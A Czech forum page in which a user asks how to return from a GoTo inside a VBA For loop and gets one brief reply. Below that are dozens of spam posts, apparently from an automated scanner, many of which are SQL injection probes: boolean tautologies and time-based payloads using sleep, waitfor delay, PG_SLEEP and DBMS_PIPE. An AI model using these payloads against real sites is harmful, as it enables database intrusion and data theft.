Answer Question
1
0

Ahojte, prosím o pomoc.
Mám makro, které je poněkud složitější, co se týče podmínek a cyklů.
Původně jsem chtěl konkrétní situace řešit pomocí dvou cyklů Do while (jeden vnořený do druhého), ale tolikrát mi hodilo chybu co se týče chybějícího nebo přebývajícího End If atp. že jsem se uchýlil k řešení skrz Goto…
Toto řešení funguje, ale jen na jedno opakování cyklu For…Next, uvnitř kterého to všechno má probíhat.
Příkazem Goto xxxxx uvnitř tohoto cyklu (for next) se program dostane na konkrétní řádek (na spodek programu), ale pak už nevím, jak ho vrátit zpět, aby se ten cyklus zopakoval víckrát (podle cyklu for i = 2 to d…next).
Existuje nějaký příkaz, kterým se dá běh programu vrátit přímo ZA to Goto xxx?
S těmi Goto je to asi prasácké řešení, ale už jsem si nevěděl rady.
Makám na tom v práci, už se s tím peru nějaký čas, a už to fakt potřebuju mít hotové. Proto jsem zvolil i ne úplně klasickou metodu (Goto), navíc mi to s ní šlape, i když se to teda provede jen jednou.
Moc díky za odpovědi.
Budu hrozně vděčný za vaši ochotu.
Díky.
Martin

Marked as spam
Odeslal Martin
Otázka položena 14.10.2019 8:50
101 views
1
Private answer

GoTo ve smyslu odskoku na návěští v kódu VBA se kromě ošetřování chyb nepoužívá. A takhle naslepo neporadí ani pánbůh. Buď to někde ukážete, nebo ne.

Marked as spam
Odeslal xlnc
Odpověděl 15.10.2019 12:14
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:54
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:54
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:58
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 16:59
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:00
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:01
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:02
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:02
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:03
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:04
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:04
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:05
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:06
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:06
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:07
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:07
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:08
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:09
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:09
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:09
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:09
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:09
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:10
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:17
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:18
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:24
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:25
0
Private answer

-1 OR 2+924-924-1=0+0+0+1 --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:25
0
Private answer

-1 OR 2+623-623-1=0+0+0+1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:25
0
Private answer

-1' OR 2+237-237-1=0+0+0+1 --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:25
0
Private answer

-1' OR 2+403-403-1=0+0+0+1 or '7Tha3HCE'='

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:25
0
Private answer

-1" OR 2+125-125-1=0+0+0+1 --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:25
0
Private answer

1*if(now()=sysdate(),sleep(15),0)

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:26
0
Private answer

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:26
0
Private answer

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:27
0
Private answer

1-1; waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:28
0
Private answer

1-1); waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:29
0
Private answer

1-1 waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:29
0
Private answer

1dio7sRin'; waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:30
0
Private answer

1-1 OR 341=(SELECT 341 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:31
0
Private answer

1-1) OR 475=(SELECT 475 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:32
0
Private answer

1-1)) OR 387=(SELECT 387 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:32
0
Private answer

1ju2mIQoc' OR 65=(SELECT 65 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:33
0
Private answer

1lKg1ciLt') OR 918=(SELECT 918 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:34
0
Private answer

1qJzBZyov')) OR 573=(SELECT 573 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:34
0
Private answer

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:35
0
Private answer

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:36
0
Private answer

1'"

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:36
0
Private answer

@@aGg8F

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 9.6.2024 17:36
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 0:54
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 0:54
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:26
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:26
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:39
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:40
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:41
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:41
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:41
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:42
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:43
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:43
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:44
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:44
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:45
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:46
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:46
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:47
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:48
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:48
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:49
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:49
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:49
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:49
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:49
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:50
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:50
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

-1 OR 2+414-414-1=0+0+0+1 --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

-1 OR 2+632-632-1=0+0+0+1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

-1' OR 2+271-271-1=0+0+0+1 --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

-1' OR 2+584-584-1=0+0+0+1 or 'nynhktsN'='

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

-1" OR 2+104-104-1=0+0+0+1 --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:58
0
Private answer

1*if(now()=sysdate(),sleep(15),0)

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 7:59
0
Private answer

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:00
0
Private answer

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:00
0
Private answer

1-1; waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:01
0
Private answer

1-1); waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:02
0
Private answer

1-1 waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:02
0
Private answer

12P5iCnn1'; waitfor delay '0:0:15' --

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:03
0
Private answer

1-1 OR 238=(SELECT 238 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:03
0
Private answer

1-1) OR 701=(SELECT 701 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:04
0
Private answer

1-1)) OR 647=(SELECT 647 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:04
0
Private answer

1JMIv13Lc' OR 966=(SELECT 966 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:05
0
Private answer

13tg8NnRu') OR 180=(SELECT 180 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:06
0
Private answer

1Fdre0x1H')) OR 807=(SELECT 807 FROM PG_SLEEP(15))--

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:06
0
Private answer

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:07
0
Private answer

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:08
0
Private answer

1'"

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:08
0
Private answer

@@HQgF1

Marked as spam
Odeslal (Otázky: 1635, Odpovědi: 11270)
Odpověděl 10.6.2024 8:08

Odešlete svou odpověď

Attach YouTube/Vimeo clip putting the URL in brackets: [https://youtu.be/Zkdf3kaso]